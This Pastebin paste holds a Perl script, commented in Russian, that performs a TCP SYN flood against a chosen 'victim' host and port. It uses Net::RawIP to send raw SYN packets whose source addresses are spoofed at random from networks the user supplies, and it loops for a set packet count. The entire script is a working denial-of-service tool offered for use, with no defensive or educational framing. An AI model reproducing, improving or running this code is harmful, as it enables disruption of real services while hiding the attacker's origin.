Guest User

Untitled

a guest
Oct 14th, 2018
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.67 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. # use strict;
  4. # use warnings;
  5.  
  6. # Load module
  7. use Net::RawIP;
  8. use Net::Nslookup;
  9. use Getopt::Long;
  10.  
  11. #
  12. # VAR
  13. #
  14. my $handler = new Net::RawIP;
  15. my $src_port_range = "16383";
  16. my %opts = (
  17.     'networks' => "",
  18.     'dst_addr' => "",
  19.     'dst_name' => "",
  20.     'dst_port' => "",
  21.     'packet_count' => ""
  22. );
  23.  
  24. #
  25. # SUBS
  26. #
  27. sub get_rand_saddr($)
  28. {
  29.     my ($network, $prefix) = shift(@_) =~ /(.+?)\/(.+)/;
  30.  
  31.     # Получаем число изменяемых бит в сети
  32.     my $netmask_zero_count = 32 - $prefix;
  33.  
  34.     # Переводим сеть в двоичный формат
  35.     my @network_dec_array = split(/\./, $network);
  36.  
  37.     # use Data::Dumper;
  38.     # print Dumper(@network_dec_array)."\n";
  39.  
  40.     my @network_binary_array = split("", join("", &dec_to_bin(\@network_dec_array)));
  41.  
  42.     #
  43.     # Вычисляем минимально и максимально доступные адреса
  44.     #
  45.     my @saddr_min_binary;
  46.     my @saddr_max_binary;
  47.     for (my $i = 0; $i <= 31; $i++)
  48.     {
  49.         if ($i == 31) {
  50.             push @saddr_min_binary, "1";
  51.             push @saddr_max_binary, "0";
  52.         } elsif($i >= ($prefix - 1)) {
  53.             push @saddr_min_binary, "0";
  54.             push @saddr_max_binary, "1";
  55.         } else {
  56.             push @saddr_min_binary, $network_binary_array[$i];
  57.             push @saddr_max_binary, $network_binary_array[$i];         
  58.         }
  59.     }
  60.  
  61.     my @saddr_min_binary_array =  unpack("(A8)*", join("", @saddr_min_binary));
  62.     my @saddr_max_binary_array =  unpack("(A8)*", join("", @saddr_max_binary));
  63.  
  64.     my @saddr_min_dec_array = bin_to_dec(\@saddr_min_binary_array);
  65.     my @saddr_max_dec_array = bin_to_dec(\@saddr_max_binary_array);
  66.  
  67.     #
  68.     # Вычисляем случайный адрес
  69.     #
  70.     my @octets_array;
  71.     if ($netmask_zero_count <= 8) {
  72.         push @octets_array, 3;
  73.     } elsif ($netmask_zero_count <= 16) {
  74.         push @octets_array, (2, 3);
  75.     } elsif ($netmask_zero_count <= 24) {
  76.         push @octets_array, (1, 2, 3);
  77.     } else {
  78.         push @octets_array, (0, 1, 2, 3);
  79.     }
  80.  
  81.     my @saddr_rand_array = ( @saddr_min_dec_array );
  82.     foreach my $octet (@octets_array)
  83.     {
  84.         my $k = $saddr_max_dec_array[$octet] - $saddr_min_dec_array[$octet];
  85.         $saddr_rand_array[$octet] = int(rand($k)) + $saddr_min_dec_array[$octet];
  86.     }
  87.  
  88.     return join(".", @saddr_rand_array);
  89. }
  90.  
  91. sub send_syn_packet($$)
  92. {
  93.     my $network = shift @_;
  94.     my $dst_addr = shift @_;
  95.    
  96.     # Вычисление порта источника
  97.     my $src_port = int(rand($src_port_range)) + 49151;
  98.     # Вычисление адреса источника
  99.     my $src_addr = get_rand_saddr($network);
  100.  
  101.     $handler->set(
  102.         {
  103.             ip => {
  104.                 saddr => $src_addr,
  105.                 daddr => $dst_addr
  106.             },
  107.             tcp => {
  108.                 source => $src_port,
  109.                 dest => $opts{'dst_port'},
  110.                 syn => 1
  111.             }
  112.         }
  113.   );
  114.   $handler->send;          
  115.   print $src_addr.":".$src_port." -> ".$dst_addr.":".$opts{'dst_port'}."\n";
  116. }
  117.  
  118. sub dec_to_bin($)
  119. {
  120.     my $ref = shift @_;
  121.  
  122.     if(ref($ref) eq 'ARRAY'){
  123.        
  124.         my @result;
  125.         foreach my $var (@{$ref}) {
  126.             my $tmp = unpack("B32", pack("N", $var));
  127.             $tmp =~ s/^0+(?=\d)//;
  128.             $tmp = bin_complate($tmp);
  129.             push @result, $tmp;
  130.         }
  131.        
  132.         return @result;
  133.     } else {
  134.         my $result = unpack("B32", pack("N", $ref));
  135.         $result =~ s/^0+(?=\d)//;
  136.         $result = bin_complate($result);
  137.         return $result;
  138.     }
  139. }
  140.  
  141. sub bin_to_dec($)
  142. {
  143.     my $ref = shift @_;
  144.  
  145.     if(ref($ref) eq 'ARRAY') {
  146.         my @result;
  147.         foreach my $var (@{$ref}) {
  148.             my $tmp = unpack("N", pack("B32", substr("0" x 32 . $var, -32)));
  149.             push @result, $tmp;
  150.         }
  151.  
  152.         return @result;
  153.     } else {
  154.         return unpack("N", pack("B32", substr("0" x 32 . $ref, -32)));
  155.     }
  156. }
  157.  
  158. sub bin_complate($)
  159. {
  160.     my $ref = shift @_;
  161.     my $length = length($ref);
  162.     while($length < 8) { $ref = "0".$ref; $length++; };
  163.  
  164.     return $ref;
  165. }
  166.  
  167. #
  168. # MAIN
  169. #
  170.  
  171. my $result = GetOptions (
  172.     "networks=s" => \$opts{'networks'},
  173.     "victim_addr=s"  => \$opts{'dst_addr'},
  174.     "victim_name=s"  => \$opts{'dst_name'},
  175.     "victim_port=s" => \$opts{'dst_port'},
  176.     "count=s" => \$opts{'packet_count'},
  177.  
  178. );
  179.  
  180. unless ($opts{'victim_addr'} || $opts{'victim_port'} || $opts{'networks'} || $opts{'networks'} !~ /(?:\d+(?:\.\d+){3}\/(?:\d+).){1}/ || $opts{'count'}) {
  181.     print "Change CLI opts.\n";
  182.     exit 0;
  183. } else {
  184.     @spoof_network = split(",", $opts{'networks'});
  185. }
  186.  
  187. my $syn_count = $opts{'packet_count'};
  188. while($syn_count > 0)
  189. {
  190.   foreach my $network (@spoof_network)
  191.   {
  192.     if ($opts{'dst_name'}) {
  193.         my @dst_addr_array  = nslookup(domain => $opts{'dst_name'}, type => "A");
  194.         die("Invaild victim_name param value!\n") if ($#dst_addr_array + 1) < 1;
  195.  
  196.         foreach my $dst_addr (@dst_addr_array)
  197.         {
  198.             send_syn_packet($network, $dst_addr);
  199.         }
  200.     } else {
  201.         send_syn_packet($network, $opts{'dst_addr'});
  202.     }
  203.   }
  204.   $syn_count--;
  205. }
Add Comment
Please, Sign In to add comment